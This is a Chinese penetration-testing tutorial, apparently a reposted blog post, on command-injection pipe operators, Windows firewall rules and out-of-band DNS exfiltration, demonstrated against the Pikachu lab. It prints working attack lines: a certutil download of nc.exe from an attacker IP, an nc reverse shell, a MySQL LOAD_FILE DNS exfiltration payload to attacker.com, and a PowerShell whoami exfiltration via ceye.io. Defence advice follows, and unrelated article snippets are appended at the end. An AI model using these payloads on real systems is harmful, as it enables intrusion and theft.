010502管道符_防火墙出入站_不回显带外-渗透命令-基础入门-网络安全

文章目录

    • 1 管道符
    • 2 防火墙出入站
    • 3 不回显外带
      • 典型场景
      • 常见OOB通道
      • 实现示例(以DNS为例)
        • 1. 利用DNS外带数据
        • 2. 使用工具监听
      • 防御建议
      • 扩展:无回显OOB自动化工具
      • 注意事项
      • 演示
      • 结语

1 管道符

| (管道符号)
||(逻辑或)
&&(逻辑与)
&(后台任务符号)

windows| & || &&

Linux: `| || & && ; ```,````和;为linux特有

linux演示:在这里插入图片描述

案例演示:pikachu ping命令执行反向链接 ,在这里插入图片描述

分析:

  • 判断为windows系统

  • windows没有自带的nc命令

  • 想办法上传nc

    ping 172.0.0.1 | certutil.exe -urlcache -split -f http://192.168.0.104:80/nc.exe l:\\nc.exe
    ping 172.0.0.1 | 
    
  • 反弹权限

完成上述步骤后,执行如下命令

# windows
ping 127.0.0.1 | l:\\nc.exe -e cmd 192.168.0.105 5566    
# linux
ncat -lvvp 5566

如下图所示:在这里插入图片描述

2 防火墙出入站

这里我们以windows防火墙为例,测试连接。

“防火墙出入站”指的是防火墙规则中数据流动的方向,核心是以防火墙所保护的网络或主机为参照点。

简单来说:

  1. 入站 (Inbound / Ingress):
    • 方向:外部网络(比如互联网)流向防火墙保护的内部网络或主机
    • 例子:
      • 互联网上的用户访问你公司的网站服务器。
      • 外部人员尝试通过 SSH 连接你的内部服务器。
      • 来自互联网的电子邮件到达你的邮件服务器。
    • 防火墙规则作用: 控制谁可以访问你的内部资源以及访问哪些服务(端口)。这是防火墙最主要的防护功能,通常规则设置得比较严格(默认阻止大部分入站连接,只开放必要的服务)。
    • 参照点: 数据是进入被保护的区域。
  2. 出站 (Outbound / Egress):
    • 方向:防火墙保护的内部网络或主机流向外部网络(比如互联网)。
    • 例子:
      • 你办公室的电脑访问谷歌搜索。
      • 你内部的服务器从外部软件仓库下载更新。
      • 你的邮件服务器向外部发送电子邮件。
    • 防火墙规则作用: 控制内部用户或设备可以访问外部哪些资源(IP、域名、端口、协议)。规则通常相对宽松(默认允许大部分出站连接),但也用于:
      • 阻止访问恶意网站。
      • 限制访问某些类型的网站(如社交媒体、游戏)。
      • 防止内部恶意软件或受感染主机“回连”到外部命令控制服务器。
      • 防止内部主机进行端口扫描等恶意行为。
    • 参照点: 数据是离开被保护的区域。

关键区别总结:

特性入站 (Inbound/Ingress)出站 (Outbound/Egress)
方向进入受保护网络/主机离开受保护网络/主机
来源外部网络 (如互联网)内部网络/主机
目标内部网络/主机外部网络 (如互联网)
主要目的保护内部资源不被外部访问/攻击控制内部资源对外部的访问
默认规则通常较严格 (默认拒绝/阻止大部分连接)通常较宽松 (默认允许大部分连接)
例子访问网站服务器、远程桌面连接、接收邮件浏览网页、下载文件、发送邮件、访问云服务

为什么理解出入站方向很重要?

  1. 精准配置规则: 创建防火墙规则时,必须明确指定规则是应用于入站流量还是出站流量,否则规则无效或达不到预期效果。
  2. 理解安全策略: 防火墙的安全策略核心就是定义“什么入站流量允许进来”和“什么出站流量允许出去”。
  3. 故障排查: 当网络连接出现问题时,判断是入站规则还是出站规则阻止了连接是解决问题的关键第一步。
  4. 合规性与审计: 许多安全标准和法规要求对出入站流量进行明确的控制、监控和审计。

简单记忆方法:

  • 入站: 别人 (外部) 想进来访问 (内部) 的东西。
  • 出站: (内部) 想出去访问别人 (外部) 的东西。

理解出入站方向是配置和管理任何防火墙(无论是硬件防火墙、软件防火墙、云防火墙还是主机防火墙)的基础。你需要根据你的安全需求,在出入站两个方向上分别设置允许或拒绝流量的规则。

windows开启防火墙之后,linux无法正向连接windows,即windows防火墙入站被限制。入站放行5566端口之后,正向连接正常,如下图所示:在这里插入图片描述

出站方向同样如此,这里不再演示,因为严进宽出的策略,入站放行即使没有显示禁用5566端口,5566端口入站方向也是被禁止访问的。

3 不回显外带

当命令执行没有显示的回显时,我们不知道是否执行,执行结果是什么,此时可借助外部网站显示。

在网络安全或渗透测试中,“不回显带外”(Out-of-Band, OOB)通常指利用非直接回显的通道传输数据,常用于漏洞利用(如SQL注入、XXE、命令注入等)。以下是常见场景和实现思路:


典型场景

  1. 无回显漏洞利用
    当攻击注入点不返回结果时(如盲注),通过OOB通道将数据外带。
    • 示例SQL盲注 中利用DNS请求外带数据库数据。
  2. 绕过防火墙/过滤
    避免触发基于请求/响应的安全检测。
  3. 隐蔽数据泄露
    通过DNS、HTTP、SMB等协议外传敏感信息。

常见OOB通道

协议原理工具
DNS目标发起DNS查询,攻击者从DNS日志中提取数据dnslog.cn, Burp Collaborator
HTTP目标向攻击者服务器发送HTTP请求携带数据Python http.server, ngrok
SMB目标访问攻击者伪造的SMB服务器Impacket smbserver.py

实现示例(以DNS为例)

1. 利用DNS外带数据
-- SQL注入示例(MySQL)
LOAD_FILE(CONCAT('\\\\', (SELECT HEX(user())), '.attacker.com\\fake'));
  • 目标向 {hex_data}.attacker.com 发起DNS查询,攻击者从日志中提取数据。
2. 使用工具监听
  • 免费平台:访问 dnslog.cn 获取临时域名。
  • 专业工具:Burp Suite 的 Collaborator 模块。

防御建议

  1. 输入严格过滤
    禁止特殊字符(如 \, $, |)。
  2. 限制出站请求
    防火墙规则限制服务器发起DNS/HTTP请求。
  3. 启用日志审计
    监控异常DNS查询或外连行为。
  4. 最小化权限
    数据库/服务使用低权限账户运行。

扩展:无回显OOB自动化工具

  • SQLMap:使用 --dns-domain 参数自动化OOB注入检测。

    sqlmap -u "http://target.com?id=1" --dns-domain=attacker.com
    
  • XXExploiter:专用于XXE OOB利用(GitHub)。


注意事项

  • 合法性:未经授权测试属违法行为。
  • 隐蔽性:实际攻击中可能被安全设备(如IDS)检测。
  • 依赖环境:目标需能访问外网(如允许DNS解析)。

演示

这里dns我们利用第三方网站,有兴趣的可以自己搭建,有专门教程。

第一步:注释掉pikachu ping命令执行中结果回显,如下图所示在这里插入图片描述

第二步:下面连接3注册账号,payloads页面找到对应系统的需要执行的命令,我们的是windows

ping 127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.xxx.ceye.io';$z=$x+$y;ping $z
  • xxx:为自己配置

效果如下图所示:在这里插入图片描述

结语

❓QQ:806797785

⭐️仓库地址:https://gitee.com/gaogzhen

⭐️仓库地址:https://github.com/gaogzhen

[1]全栈网络安全 | 渗透测试 | 高级红蓝对抗 V2024最新版[CP/OL].

[2]棱角社区[CP/OL].

[3]CEYE[CP/OL].

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/diannao/86941.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

智慧养老与数字健康:科技赋能老年生活,构建全方位养老体系

在全球人口老龄化进程不断加速的当下,我国的老龄化程度也日益加深。 截至 2023 年末,我国 60 岁及以上人口达 2.97 亿人,占总人口的 21.1%,其中 65 岁及以上人口为 2.17 亿人,占总人口的 15.4%。 养老问题已成为全社…

在 cuda 基础环境中安装完整的cupy

nvidia/cuda:12.6.3-cudnn-devel-ubuntu22.04 1. 创建 cuda 基础容器 export NUM2 && \ sudo docker run --gpus all -it \ --name cupy_LHL_${NUM} \ -v /home/jimmy/ex_cupy/tmp${NUM}:/root/tmp${NUM} \ -v /home/jimmy/.ssh:/root/.ssh \ nvidia/cuda:12.6.3-dev…

OB Cloud × 海牙湾:打造高效灵活的金融科技 AI 数字化解决方案

在金融行业国产升级的战略背景下,上海海牙湾信息科技有限公司凭借其服务银行客户的深厚积累,近日完成重大技术升级 —— 将金融行业积分生态的SaaS平台、数字化营销中台及企业供应链管理系统全部迁移至完全自主研发的 OB Cloud 一体化云数据库。依托OB C…

LarkXR 赋能AI x XR数字供应链:引领智能设计、数字孪生与零售新未来

全球零售业数字化转型 在数字化浪潮的推动下,零售业正经历一场从设计到生产再到终端消费的全链路变革。消费者对个性化、沉浸式体验的需求日益增长,而企业也亟需通过数字化手段提升效率、降低成本并增强竞争力。Paraverse平行云的LarkXR实时云渲染技术&…

go语言快速入门

代码仓库 gitee 如何运行 以打印hello world为例 // main.go package main // package为main的文件可以直接运行import "fmt"func main() {fmt.Println("Hello, World!") }# 直接运行 go run main.go # 或者编译后运行 go build main.go ./main.exe变量…

使用麒麟V10操作系统的KVM服务,但麒麟V10存在高危漏洞无法修复?

麒麟V10操作系统之KVM部署虚拟机_麒麟v10安装kvm-CSDN博客文章浏览阅读3.7k次,点赞30次,收藏25次。本文介绍了在麒麟V10操作系统上部署KVM虚拟机的详细步骤,包括检查虚拟化支持、安装KVM组件、创建虚拟机、配置网络桥接,以及解决可…

PG、SprinBoot项目报错,表不存在

1、用户名密码错误 2、数据库IP和数据库名称错误 3、类似于如下的表结构 PG 默认扫描PUBLIC下面的表,需要手动指定schema,currentSchemaswdn_new url: jdbc:postgresql://${PGSQL_HOST:127.0.0.1}:${PGSQL_PORT:5432}/swdn_new?currentSchemaswdn_ne…

python类成员概要

python类成员概要 python类成员分类如图: 简要说明: 1.实例变量(Instance Variables) 定义:在方法中通过 self.变量名 声明,属于单个实例 特点:每个实例拥有独立副本,在实例间不共…

Java性能问题排查

1. Java 性能排查 使用JPS查看当前Java进程 jps #查询需要排查的Java进程ID查看Java进程内最耗费CPU的线程资源使用情况 top -H -p <Java进程pid>ps -Lfp <Java进程pid>ps -mp <Java进程pid> -o THREAD, tid, time根据第1步查询出的PID&#xff0c;通过jstac…

基于OpenCV和深度学习实现图像风格迁移

文章目录 引言一、准备工作二、代码实现解析1. 读取和显示原始图像2. 图像预处理3. 加载和运行风格迁移模型4. 处理输出结果 三、效果展示四、扩展应用五、总结 引言 图像风格迁移是计算机视觉中一个非常有趣的应用&#xff0c;它可以将一幅图像的内容与另一幅图像的艺术风格相…

SwiftUI隐藏返回按钮保留右滑手势方案

SwiftUI 隐藏返回按钮但保留右滑返回手势的方案 在 SwiftUI 中&#xff0c;如果你使用&#xff1a; .navigationBarBackButtonHidden(true)可以隐藏系统返回按钮&#xff0c;但会发现 右滑返回手势&#xff08;边缘返回&#xff09;失效了。 这是因为 SwiftUI 底层使用了 UI…

练习小项目11:鼠标跟随小圆点

&#x1f3af; 项目目标&#xff1a; 当鼠标在页面移动时&#xff0c;小圆点会跟随鼠标移动的位置&#xff0c;带有平滑动画。 &#x1f9e0; 实现思路&#xff1a; HTML&#xff1a; 页面内放一个 div 作为圆点。 CSS&#xff1a; 圆点使用绝对定位&#xff0c;初始在屏幕…

华为:eSight网管平台使用snmp纳管交换机

一、SNMP简介 SNMP&#xff08;Simple Network Management Protocol&#xff0c;简单网络管理协议&#xff09;是一种用于管理和监控网络设备的标准协议&#xff0c;广泛应用于路由器、交换机、服务器、打印机等网络设备的管理场景。以下是对它的简单介绍&#xff1a; 1、SNM…

【单片机期末】接口及应用

一、C51语言基础 【考点】存储类型 data是低128字节 code是ROM idata是高128字节 pdata是外部RAM可以用R0 R1寻址的&#xff0c;也叫页 xdata是外部RAM&#xff0c;可以用DPTR寻址或总线扩展 其中data、code、idata、pdata、xdata均为字节类型的&#xff0c;bdata是对位寻址的 …

C#迭代器

文档 C# Iterators 关键内容 普通接口 public interface IEnumerable {IEnumerator GetEnumerator(); }public interface IEnumerator {object Current { get; }bool MoveNext();void Reset(); }泛型接口 public interface IEnumerable<out T> : IEnumerable {IEnum…

Java多线程:为什么wait()必须用循环而非if?

在Java多线程编程中&#xff0c;调用wait()方法时应使用**循环结构&#xff08;while循环&#xff09;**而非if块&#xff0c;这是由线程同步的特性和潜在风险决定的。以下是具体原因和实现规范&#xff1a; 一、正确调用方式 synchronized (lockObject) {while (!condition) …

Fiori 初学记录----怎么调用后端系统odata 服务实现简单的CURD

1.对上面的内表做一个简单的增删改查的操作 SEGW 创建odata 项目&#xff0c;实现增删改查方法。如下图 2.odata 准备完毕后&#xff0c;打开vscode 下一步等待项目生成 把下面这个目录的视图&#xff1a;替换一下&#xff1a; View1.view.xml 代码&#xff1a; <…

OpenCV CUDA模块图像变形------对图像进行GPU加速的仿射变换函数warpAffine()

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 该函数用于对图像进行 GPU 加速的仿射变换&#xff08;Affine Transformation&#xff09;&#xff0c;是 cv::warpAffine 的 CUDA 版本。支持平…

语音增强方法

一、音量增强 音量增强&#xff0c;顾名思义就是音量的调大和调小&#xff0c;通过对音量进行增强可以使得模型更好的泛化。防止数据只有小音量时&#xff0c;当有大音量传入时模型不能很好的进行识别。 下面是我对音量增强生成频谱图进行可视化的结果 上面的一个图片是音量…

内网渗透测试技巧与利用操作手册(SMB / MSSQL / LDAP)

SMB 枚举与利用清单 &#x1f50d; SMB 枚举与连接 # 尝试空会话连接&#xff08;Null Session&#xff09; smbclient -N -U "" -L \\<IP> smbclient -N -U "test" -L \\<IP> smbclient -N -U "Guest" -L \\<IP># 下载共享…